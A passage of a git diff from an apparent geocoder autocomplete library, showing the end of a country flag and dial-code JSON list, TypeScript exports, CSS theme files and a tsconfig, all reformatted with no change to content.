"๐Ÿ‡ป๐Ÿ‡ฎ", + "unicode": "U+1F1FB U+1F1EE", + "name": "Virgin Islands, U.S.", + "title": "flag for Virgin Islands, U.S.", + "dialCode": "+1 340" + }, + { + "code": "VN", + "emoji": "๐Ÿ‡ป๐Ÿ‡ณ", + "unicode": "U+1F1FB U+1F1F3", + "name": "Viet Nam", + "title": "flag for Viet Nam", + "dialCode": "+84" + }, + { + "code": "VU", + "emoji": "๐Ÿ‡ป๐Ÿ‡บ", + "unicode": "U+1F1FB U+1F1FA", + "name": "Vanuatu", + "title": "flag for Vanuatu", + "dialCode": "+678" + }, + { + "code": "WF", + "emoji": "๐Ÿ‡ผ๐Ÿ‡ซ", + "unicode": "U+1F1FC U+1F1EB", + "name": "Wallis and Futuna", + "title": "flag for Wallis and Futuna", + "dialCode": "+681" + }, + { + "code": "WS", + "emoji": "๐Ÿ‡ผ๐Ÿ‡ธ", + "unicode": "U+1F1FC U+1F1F8", + "name": "Samoa", + "title": "flag for Samoa", + "dialCode": "+685" + }, + { + "code": "XK", + "emoji": "๐Ÿ‡ฝ๐Ÿ‡ฐ", + "unicode": "U+1F1FD U+1F1F0", + "name": "Kosovo", + "title": "flag for Kosovo", + "dialCode": "+383" + }, + { + "code": "YE", + "emoji": "๐Ÿ‡พ๐Ÿ‡ช", + "unicode": "U+1F1FE U+1F1EA", + "name": "Yemen", + "title": "flag for Yemen", + "dialCode": "+967" + }, + { + "code": "YT", + "emoji": "๐Ÿ‡พ๐Ÿ‡น", + "unicode": "U+1F1FE U+1F1F9", + "name": "Mayotte", + "title": "flag for Mayotte", + "dialCode": "+262" + }, + { + "code": "ZA", + "emoji": "๐Ÿ‡ฟ๐Ÿ‡ฆ", + "unicode": "U+1F1FF U+1F1E6", + "name": "South Africa", + "title": "flag for South Africa", + "dialCode": "+27" + }, + { + "code": "ZM", + "emoji": "๐Ÿ‡ฟ๐Ÿ‡ฒ", + "unicode": "U+1F1FF U+1F1F2", + "name": "Zambia", + "title": "flag for Zambia", + "dialCode": "+260" + }, + { + "code": "ZW", + "emoji": "๐Ÿ‡ฟ๐Ÿ‡ผ", + "unicode": "U+1F1FF U+1F1FC", + "name": "Zimbabwe", + "title": "flag for Zimbabwe", + "dialCode": "+263" + } ] \ No newline at end of file diff --git a/src/index.ts b/src/index.ts index 40cf8ae..92187c1 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,10 +1,10 @@ -export {GeocoderAutocomplete} from './autocomplete'; -export type {GeocoderAutocompleteOptions} from './autocomplete'; -export type {LocationType} from './autocomplete'; -export type {SupportedLanguage} from './autocomplete'; -export type {GeoPosition} from './autocomplete'; -export type {CountyCode} from './autocomplete'; -export type {ByCountryCodeOptions} from './autocomplete'; -export type {ByCircleOptions} from './autocomplete'; -export type {ByProximityOptions} from './autocomplete'; +export {GeocoderAutocomplete} from './autocomplete'; +export type {GeocoderAutocompleteOptions} from './autocomplete'; +export type {LocationType} from './autocomplete'; +export type {SupportedLanguage} from './autocomplete'; +export type {GeoPosition} from './autocomplete'; +export type {CountyCode} from './autocomplete'; +export type {ByCountryCodeOptions} from './autocomplete'; +export type {ByCircleOptions} from './autocomplete'; +export type {ByProximityOptions} from './autocomplete'; export type {ByRectOptions} from './autocomplete'; \ No newline at end of file diff --git a/styles/minimal-dark.css b/styles/minimal-dark.css index 1b2c098..c2e32b7 100644 --- a/styles/minimal-dark.css +++ b/styles/minimal-dark.css @@ -1,93 +1,93 @@ -.geoapify-autocomplete-input { - padding: 0 31px 0 7px; - width: calc(100% - 40px); - - outline: none; - - line-height: 36px; - height: 36px; - border: 1px solid rgba(255, 255, 255, 0.2); - background-color: rgba(255, 255, 255, 0.1); - color: rgba(255, 255, 255, 0.8); - - font-size: 14px; -} - -.geoapify-autocomplete-input::placeholder { - color: rgba(255, 255, 255, 0.5); -} - -.geoapify-autocomplete-items { - position: absolute; - border: 1px solid rgba(255, 255, 255, 0.2); - border-top: none; - background-color: #313131; - - color: rgba(255, 255, 255, 0.8); - - z-index: 99; - top: 100%; - left: 0; - right: 0; -} - -.geoapify-autocomplete-items div { - padding: 10px; - cursor: pointer; -} - -.geoapify-autocomplete-items div:hover { - background-color: rgba(255, 255, 255, 0.1); -} - -.geoapify-autocomplete-items .active { - background-color: rgba(255, 255, 255, 0.1); -} - -.geoapify-autocomplete-item { - display: flex; - flex-direction: row; - align-items: center; -} - -.geoapify-autocomplete-item .icon { - display: inline-block; - width: 40px; - height: 24px; - color: #aaa; -} - -.geoapify-autocomplete-item .icon.emoji { - color: unset; - font-size: 20px; - opacity: 0.9; -} - -.geoapify-close-button { - position: absolute; - right: 5px; - top: 0; - - height: 100%; - display: none; - align-items: center; -} - -.geoapify-close-button.visible { - display: flex; -} - -.geoapify-close-button { - color: rgba(255, 255, 255, 0.4); - cursor: pointer; -} - -.geoapify-close-button:hover { - color: rgba(255, 255, 255, 0.6); -} - -.geoapify-autocomplete-items .secondary-part { - margin-left: 10px; - font-size: small; - color: rgba(255, 255, 255, 0.6); +.geoapify-autocomplete-input { + padding: 0 31px 0 7px; + width: calc(100% - 40px); + + outline: none; + + line-height: 36px; + height: 36px; + border: 1px solid rgba(255, 255, 255, 0.2); + background-color: rgba(255, 255, 255, 0.1); + color: rgba(255, 255, 255, 0.8); + + font-size: 14px; +} + +.geoapify-autocomplete-input::placeholder { + color: rgba(255, 255, 255, 0.5); +} + +.geoapify-autocomplete-items { + position: absolute; + border: 1px solid rgba(255, 255, 255, 0.2); + border-top: none; + background-color: #313131; + + color: rgba(255, 255, 255, 0.8); + + z-index: 99; + top: 100%; + left: 0; + right: 0; +} + +.geoapify-autocomplete-items div { + padding: 10px; + cursor: pointer; +} + +.geoapify-autocomplete-items div:hover { + background-color: rgba(255, 255, 255, 0.1); +} + +.geoapify-autocomplete-items .active { + background-color: rgba(255, 255, 255, 0.1); +} + +.geoapify-autocomplete-item { + display: flex; + flex-direction: row; + align-items: center; +} + +.geoapify-autocomplete-item .icon { + display: inline-block; + width: 40px; + height: 24px; + color: #aaa; +} + +.geoapify-autocomplete-item .icon.emoji { + color: unset; + font-size: 20px; + opacity: 0.9; +} + +.geoapify-close-button { + position: absolute; + right: 5px; + top: 0; + + height: 100%; + display: none; + align-items: center; +} + +.geoapify-close-button.visible { + display: flex; +} + +.geoapify-close-button { + color: rgba(255, 255, 255, 0.4); + cursor: pointer; +} + +.geoapify-close-button:hover { + color: rgba(255, 255, 255, 0.6); +} + +.geoapify-autocomplete-items .secondary-part { + margin-left: 10px; + font-size: small; + color: rgba(255, 255, 255, 0.6); } \ No newline at end of file diff --git a/styles/minimal.css b/styles/minimal.css index 74534b6..ca0fd0a 100644 --- a/styles/minimal.css +++ b/styles/minimal.css @@ -1,85 +1,85 @@ -.geoapify-autocomplete-input { - padding: 0 31px 0 7px; - width: calc(100% - 40px); - - outline: none; - - line-height: 36px; - height: 36px; - border: 1px solid rgba(0, 0, 0, 0.3); - - font-size: 14px; -} - -.geoapify-autocomplete-items { - position: absolute; - border: 1px solid rgba(0, 0, 0, 0.3); - border-top: none; - background-color: #fff; - - z-index: 99; - top: 100%; - left: 0; - right: 0; -} - -.geoapify-autocomplete-items div { - padding: 10px; - cursor: pointer; -} - -.geoapify-autocomplete-items div:hover { - background-color: rgba(0, 0, 0, 0.1); -} - -.geoapify-autocomplete-items .active { - background-color: rgba(0, 0, 0, 0.1); -} - -.geoapify-autocomplete-item { - display: flex; - flex-direction: row; - align-items: center; -} - -.geoapify-autocomplete-item .icon { - display: inline-block; - width: 40px; - height: 24px; - color: #aaa; -} - -.geoapify-autocomplete-item .icon.emoji { - color: unset; - font-size: 20px; - opacity: 0.9; -} - -.geoapify-close-button { - position: absolute; - right: 5px; - top: 0; - - height: 100%; - display: none; - align-items: center; -} - -.geoapify-close-button.visible { - display: flex; -} - -.geoapify-close-button { - color: rgba(0, 0, 0, 0.4); - cursor: pointer; -} - -.geoapify-close-button:hover { - color: rgba(0, 0, 0, 0.6); -} - -.geoapify-autocomplete-items .secondary-part { - margin-left: 10px; - font-size: small; - color: rgba(0, 0, 0, 0.6); +.geoapify-autocomplete-input { + padding: 0 31px 0 7px; + width: calc(100% - 40px); + + outline: none; + + line-height: 36px; + height: 36px; + border: 1px solid rgba(0, 0, 0, 0.3); + + font-size: 14px; +} + +.geoapify-autocomplete-items { + position: absolute; + border: 1px solid rgba(0, 0, 0, 0.3); + border-top: none; + background-color: #fff; + + z-index: 99; + top: 100%; + left: 0; + right: 0; +} + +.geoapify-autocomplete-items div { + padding: 10px; + cursor: pointer; +} + +.geoapify-autocomplete-items div:hover { + background-color: rgba(0, 0, 0, 0.1); +} + +.geoapify-autocomplete-items .active { + background-color: rgba(0, 0, 0, 0.1); +} + +.geoapify-autocomplete-item { + display: flex; + flex-direction: row; + align-items: center; +} + +.geoapify-autocomplete-item .icon { + display: inline-block; + width: 40px; + height: 24px; + color: #aaa; +} + +.geoapify-autocomplete-item .icon.emoji { + color: unset; + font-size: 20px; + opacity: 0.9; +} + +.geoapify-close-button { + position: absolute; + right: 5px; + top: 0; + + height: 100%; + display: none; + align-items: center; +} + +.geoapify-close-button.visible { + display: flex; +} + +.geoapify-close-button { + color: rgba(0, 0, 0, 0.4); + cursor: pointer; +} + +.geoapify-close-button:hover { + color: rgba(0, 0, 0, 0.6); +} + +.geoapify-autocomplete-items .secondary-part { + margin-left: 10px; + font-size: small; + color: rgba(0, 0, 0, 0.6); } \ No newline at end of file diff --git a/styles/round-borders-dark.css b/styles/round-borders-dark.css index 2665a4b..d319d03 100644 --- a/styles/round-borders-dark.css +++ b/styles/round-borders-dark.css @@ -1,98 +1,98 @@ -.geoapify-autocomplete-input { - padding: 0 31px 0 7px; - width: calc(100% - 40px); - - outline: none; - - line-height: 36px; - height: 36px; - border: 1px solid rgba(255, 255, 255, 0.2); - border-radius: 5px; - - background-color: rgba(255, 255, 255, 0.1); - color: rgba(255, 255, 255, 0.8); - - font-size: 14px; -} - -.geoapify-autocomplete-input::placeholder { - color: rgba(255, 255, 255, 0.5); -} - -.geoapify-autocomplete-items { - position: absolute; - top: calc(100% + 2px); - left: 0; - right: 0; - - border: 1px solid rgba(255, 255, 255, 0.1); - border-radius: 5px; - overflow: hidden; - - background-color: #313131; - color: rgba(255, 255, 255, 0.8); - box-shadow: 0px 4px 10px 2px rgba(255, 255, 255, 0.1); - - z-index: 99; -} - -.geoapify-autocomplete-items div { - padding: 10px; - cursor: pointer; -} - -.geoapify-autocomplete-items div:hover { - background-color: rgba(255, 255, 255, 0.1); -} - -.geoapify-autocomplete-items .active { - background-color: rgba(255, 255, 255, 0.1); -} - -.geoapify-autocomplete-item { - display: flex; - flex-direction: row; - align-items: center; -} - -.geoapify-autocomplete-item .icon { - display: inline-block; - width: 40px; - height: 24px; - color: #aaa; -} - -.geoapify-autocomplete-item .icon.emoji { - color: unset; - font-size: 20px; - opacity: 0.9; -} - -.geoapify-close-button { - position: absolute; - right: 5px; - top: 0; - - height: 100%; - display: none; - align-items: center; -} - -.geoapify-close-button.visible { - display: flex; -} - -.geoapify-close-button { - color: rgba(255, 255, 255, 0.4); - cursor: pointer; -} - -.geoapify-close-button:hover { - color: rgba(255, 255, 255, 0.6); -} - -.geoapify-autocomplete-items .secondary-part { - margin-left: 10px; - font-size: small; - color: rgba(255, 255, 255, 0.6); +.geoapify-autocomplete-input { + padding: 0 31px 0 7px; + width: calc(100% - 40px); + + outline: none; + + line-height: 36px; + height: 36px; + border: 1px solid rgba(255, 255, 255, 0.2); + border-radius: 5px; + + background-color: rgba(255, 255, 255, 0.1); + color: rgba(255, 255, 255, 0.8); + + font-size: 14px; +} + +.geoapify-autocomplete-input::placeholder { + color: rgba(255, 255, 255, 0.5); +} + +.geoapify-autocomplete-items { + position: absolute; + top: calc(100% + 2px); + left: 0; + right: 0; + + border: 1px solid rgba(255, 255, 255, 0.1); + border-radius: 5px; + overflow: hidden; + + background-color: #313131; + color: rgba(255, 255, 255, 0.8); + box-shadow: 0px 4px 10px 2px rgba(255, 255, 255, 0.1); + + z-index: 99; +} + +.geoapify-autocomplete-items div { + padding: 10px; + cursor: pointer; +} + +.geoapify-autocomplete-items div:hover { + background-color: rgba(255, 255, 255, 0.1); +} + +.geoapify-autocomplete-items .active { + background-color: rgba(255, 255, 255, 0.1); +} + +.geoapify-autocomplete-item { + display: flex; + flex-direction: row; + align-items: center; +} + +.geoapify-autocomplete-item .icon { + display: inline-block; + width: 40px; + height: 24px; + color: #aaa; +} + +.geoapify-autocomplete-item .icon.emoji { + color: unset; + font-size: 20px; + opacity: 0.9; +} + +.geoapify-close-button { + position: absolute; + right: 5px; + top: 0; + + height: 100%; + display: none; + align-items: center; +} + +.geoapify-close-button.visible { + display: flex; +} + +.geoapify-close-button { + color: rgba(255, 255, 255, 0.4); + cursor: pointer; +} + +.geoapify-close-button:hover { + color: rgba(255, 255, 255, 0.6); +} + +.geoapify-autocomplete-items .secondary-part { + margin-left: 10px; + font-size: small; + color: rgba(255, 255, 255, 0.6); } \ No newline at end of file diff --git a/styles/round-borders.css b/styles/round-borders.css index 9687da4..f690879 100644 --- a/styles/round-borders.css +++ b/styles/round-borders.css @@ -1,88 +1,88 @@ -.geoapify-autocomplete-input { - outline: none; - line-height: 36px; - height: 36px; - padding: 0 31px 0 7px; - width: calc(100% - 40px); - - border: 1px solid rgba(0, 0, 0, 0.2); - border-radius: 5px; - - font-size: 14px; -} - -.geoapify-autocomplete-items { - position: absolute; - top: calc(100% + 2px); - left: 0; - right: 0; - - background-color: #fff; - border: 1px solid rgba(0, 0, 0, 0.1); - border-radius: 5px; - overflow: hidden; - - box-shadow: 0px 2px 10px 2px rgba(0, 0, 0, 0.1); - z-index: 99; -} - -.geoapify-autocomplete-items div { - padding: 10px; - cursor: pointer; -} - -.geoapify-autocomplete-items div:hover { - background-color: rgba(0, 0, 0, 0.1); -} - -.geoapify-autocomplete-items .active { - background-color: rgba(0, 0, 0, 0.1); -} - -.geoapify-autocomplete-item { - display: flex; - flex-direction: row; - align-items: center; -} - -.geoapify-autocomplete-item .icon { - display: inline-block; - width: 40px; - height: 24px; - color: #aaa; -} - -.geoapify-autocomplete-item .icon.emoji { - color: unset; - font-size: 20px; - opacity: 0.9; -} - -.geoapify-close-button { - position: absolute; - right: 5px; - top: 0; - - height: 100%; - display: none; - align-items: center; -} - -.geoapify-close-button.visible { - display: flex; -} - -.geoapify-close-button { - color: rgba(0, 0, 0, 0.4); - cursor: pointer; -} - -.geoapify-close-button:hover { - color: rgba(0, 0, 0, 0.6); -} - -.geoapify-autocomplete-items .secondary-part { - margin-left: 10px; - font-size: small; - color: rgba(0, 0, 0, 0.6); +.geoapify-autocomplete-input { + outline: none; + line-height: 36px; + height: 36px; + padding: 0 31px 0 7px; + width: calc(100% - 40px); + + border: 1px solid rgba(0, 0, 0, 0.2); + border-radius: 5px; + + font-size: 14px; +} + +.geoapify-autocomplete-items { + position: absolute; + top: calc(100% + 2px); + left: 0; + right: 0; + + background-color: #fff; + border: 1px solid rgba(0, 0, 0, 0.1); + border-radius: 5px; + overflow: hidden; + + box-shadow: 0px 2px 10px 2px rgba(0, 0, 0, 0.1); + z-index: 99; +} + +.geoapify-autocomplete-items div { + padding: 10px; + cursor: pointer; +} + +.geoapify-autocomplete-items div:hover { + background-color: rgba(0, 0, 0, 0.1); +} + +.geoapify-autocomplete-items .active { + background-color: rgba(0, 0, 0, 0.1); +} + +.geoapify-autocomplete-item { + display: flex; + flex-direction: row; + align-items: center; +} + +.geoapify-autocomplete-item .icon { + display: inline-block; + width: 40px; + height: 24px; + color: #aaa; +} + +.geoapify-autocomplete-item .icon.emoji { + color: unset; + font-size: 20px; + opacity: 0.9; +} + +.geoapify-close-button { + position: absolute; + right: 5px; + top: 0; + + height: 100%; + display: none; + align-items: center; +} + +.geoapify-close-button.visible { + display: flex; +} + +.geoapify-close-button { + color: rgba(0, 0, 0, 0.4); + cursor: pointer; +} + +.geoapify-close-button:hover { + color: rgba(0, 0, 0, 0.6); +} + +.geoapify-autocomplete-items .secondary-part { + margin-left: 10px; + font-size: small; + color: rgba(0, 0, 0, 0.6); } \ No newline at end of file diff --git a/tsconfig.json b/tsconfig.json index aaf7995..4d3f22f 100644 --- a/tsconfig.json +++ b/tsconfig.json @@ -1,69 +1,69 @@ -{ - "compilerOptions": { - /* Basic Options */ - // "incremental": true, /* Enable incremental compilation */ - "target": "ESNEXT", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */ - "module": "ESNext", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */ - // "lib": [], /* Specify library files to be included in the compilation. */ - // "allowJs": true, /* Allow javascript files to be compiled. */ - // "checkJs": true, /* Report errors in .js files. */ - // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */ - "declaration": true, /* Generates corresponding '.d.ts' file. */ - // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ - // "sourceMap": true, /* Generates corresponding '.map' file. */ - // "outFile": "./", /* Concatenate and emit output to single file. */ - "outDir": "./dist", /* Redirect output structure to the directory. */ - // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ - // "composite": true, /* Enable project compilation */ - // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ - // "removeComments": true, /* Do not emit comments to output. */ - // "noEmit": true, /* Do not emit outputs. */ - // "importHelpers": true, /* Import emit helpers from 'tslib'. */ - // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ - // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ - - /* Strict Type-Checking Options */ - "strict": true, /* Enable all strict type-checking options. */ - // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ - "strictNullChecks": false, /* Enable strict null checks. */ - // "strictFunctionTypes": true, /* Enable strict checking of function types. */ - // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ - // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */ - // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ - // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ - - /* Additional Checks */ - // "noUnusedLocals": true, /* Report errors on unused locals. */ - // "noUnusedParameters": true, /* Report errors on unused parameters. */ - // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ - // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ - - /* Module Resolution Options */ - "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ - // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ - // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ - // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ - // "typeRoots": [], /* List of folders to include type definitions from. */ - // "types": [], /* Type declaration files to be included in compilation. */ - // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ - "esModuleInterop": true, /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */ - // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ - // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ - - /* Source Map Options */ - // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ - // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ - // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ - // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ - - /* Experimental Options */ - // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */ - // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */ - - /* Advanced Options */ - "forceConsistentCasingInFileNames": true, /* Disallow inconsistently-cased references to the same file. */ - "resolveJsonModule": true - }, - "include": ["src"], - "exclude": ["node_modules", "**/__tests__/*", "dist", "rollup.config.js"] -} +{ + "compilerOptions": { + /* Basic Options */ + // "incremental": true, /* Enable incremental compilation */ + "target": "ESNEXT", /* Specify ECMAScript target version: 'ES3' (default), 'ES5', 'ES2015', 'ES2016', 'ES2017', 'ES2018', 'ES2019' or 'ESNEXT'. */ + "module": "ESNext", /* Specify module code generation: 'none', 'commonjs', 'amd', 'system', 'umd', 'es2015', or 'ESNext'. */ + // "lib": [], /* Specify library files to be included in the compilation. */ + // "allowJs": true, /* Allow javascript files to be compiled. */ + // "checkJs": true, /* Report errors in .js files. */ + // "jsx": "preserve", /* Specify JSX code generation: 'preserve', 'react-native', or 'react'. */ + "declaration": true, /* Generates corresponding '.d.ts' file. */ + // "declarationMap": true, /* Generates a sourcemap for each corresponding '.d.ts' file. */ + // "sourceMap": true, /* Generates corresponding '.map' file. */ + // "outFile": "./", /* Concatenate and emit output to single file. */ + "outDir": "./dist", /* Redirect output structure to the directory. */ + // "rootDir": "./", /* Specify the root directory of input files. Use to control the output directory structure with --outDir. */ + // "composite": true, /* Enable project compilation */ + // "tsBuildInfoFile": "./", /* Specify file to store incremental compilation information */ + // "removeComments": true, /* Do not emit comments to output. */ + // "noEmit": true, /* Do not emit outputs. */ + // "importHelpers": true, /* Import emit helpers from 'tslib'. */ + // "downlevelIteration": true, /* Provide full support for iterables in 'for-of', spread, and destructuring when targeting 'ES5' or 'ES3'. */ + // "isolatedModules": true, /* Transpile each file as a separate module (similar to 'ts.transpileModule'). */ + + /* Strict Type-Checking Options */ + "strict": true, /* Enable all strict type-checking options. */ + // "noImplicitAny": true, /* Raise error on expressions and declarations with an implied 'any' type. */ + "strictNullChecks": false, /* Enable strict null checks. */ + // "strictFunctionTypes": true, /* Enable strict checking of function types. */ + // "strictBindCallApply": true, /* Enable strict 'bind', 'call', and 'apply' methods on functions. */ + // "strictPropertyInitialization": true, /* Enable strict checking of property initialization in classes. */ + // "noImplicitThis": true, /* Raise error on 'this' expressions with an implied 'any' type. */ + // "alwaysStrict": true, /* Parse in strict mode and emit "use strict" for each source file. */ + + /* Additional Checks */ + // "noUnusedLocals": true, /* Report errors on unused locals. */ + // "noUnusedParameters": true, /* Report errors on unused parameters. */ + // "noImplicitReturns": true, /* Report error when not all code paths in function return a value. */ + // "noFallthroughCasesInSwitch": true, /* Report errors for fallthrough cases in switch statement. */ + + /* Module Resolution Options */ + "moduleResolution": "node", /* Specify module resolution strategy: 'node' (Node.js) or 'classic' (TypeScript pre-1.6). */ + // "baseUrl": "./", /* Base directory to resolve non-absolute module names. */ + // "paths": {}, /* A series of entries which re-map imports to lookup locations relative to the 'baseUrl'. */ + // "rootDirs": [], /* List of root folders whose combined content represents the structure of the project at runtime. */ + // "typeRoots": [], /* List of folders to include type definitions from. */ + // "types": [], /* Type declaration files to be included in compilation. */ + // "allowSyntheticDefaultImports": true, /* Allow default imports from modules with no default export. This does not affect code emit, just typechecking. */ + "esModuleInterop": true, /* Enables emit interoperability between CommonJS and ES Modules via creation of namespace objects for all imports. Implies 'allowSyntheticDefaultImports'. */ + // "preserveSymlinks": true, /* Do not resolve the real path of symlinks. */ + // "allowUmdGlobalAccess": true, /* Allow accessing UMD globals from modules. */ + + /* Source Map Options */ + // "sourceRoot": "", /* Specify the location where debugger should locate TypeScript files instead of source locations. */ + // "mapRoot": "", /* Specify the location where debugger should locate map files instead of generated locations. */ + // "inlineSourceMap": true, /* Emit a single file with source maps instead of having a separate file. */ + // "inlineSources": true, /* Emit the source alongside the sourcemaps within a single file; requires '--inlineSourceMap' or '--sourceMap' to be set. */ + + /* Experimental Options */ + // "experimentalDecorators": true, /* Enables experimental support for ES7 decorators. */ + // "emitDecoratorMetadata": true, /* Enables experimental support for emitting type metadata for decorators. */ + + /* Advanced Options */ + "forceConsistentCasingInFileNames": true, /* Disallow inconsistently-cased references to the same file. */ + "resolveJsonModule": true + }, + "include": ["src"], + "exclude": ["node_modules", "**/__tests__/*", "dist", "rollup.config.js"] +}